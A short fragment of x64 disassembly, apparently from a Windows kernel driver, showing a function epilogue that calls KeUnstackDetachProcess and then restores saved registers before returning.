call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret